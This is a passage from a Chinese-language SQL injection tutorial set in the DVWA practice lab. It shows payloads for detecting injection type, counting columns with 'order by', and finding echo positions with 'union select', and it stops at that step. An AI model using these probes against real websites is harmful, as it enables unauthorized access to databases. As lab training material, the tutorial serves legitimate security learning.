1.查找注入点
以DVWA靶场的low级别为例。
1.1 判断注入类型
判断是否存在注入点并检验是字符型还是数字型。
判断的方法:
id=1 and 1=1 回显正确
id=1 and 1=2 若回显错误 ,证明存在数字型注入
id=1 and 1=2 若回显没有报错,输入 1’ and '1'='2
注意:字符型和数字型的区别,字符型需要单引号来闭合,数字型不需要。
id=1’ 看是否直接报错 也可以进行判断
id=1-0 看是否回显正确
2.获取字段数(order by 取临界值)
通过order by 看当前表中存在多少列。
如:id=1’ order by 6 # 页面返回正常 id=1’ order by 7# 页面返回错误 则字段数为6
2.1 输入id=1’ order by 2 # 页面返回正常
2.2 输入id=1’ order by 3 # 页面返回错误
则可以得出结果值为2列
2.3 确定回显位置
输入 1’ union select 1,2 #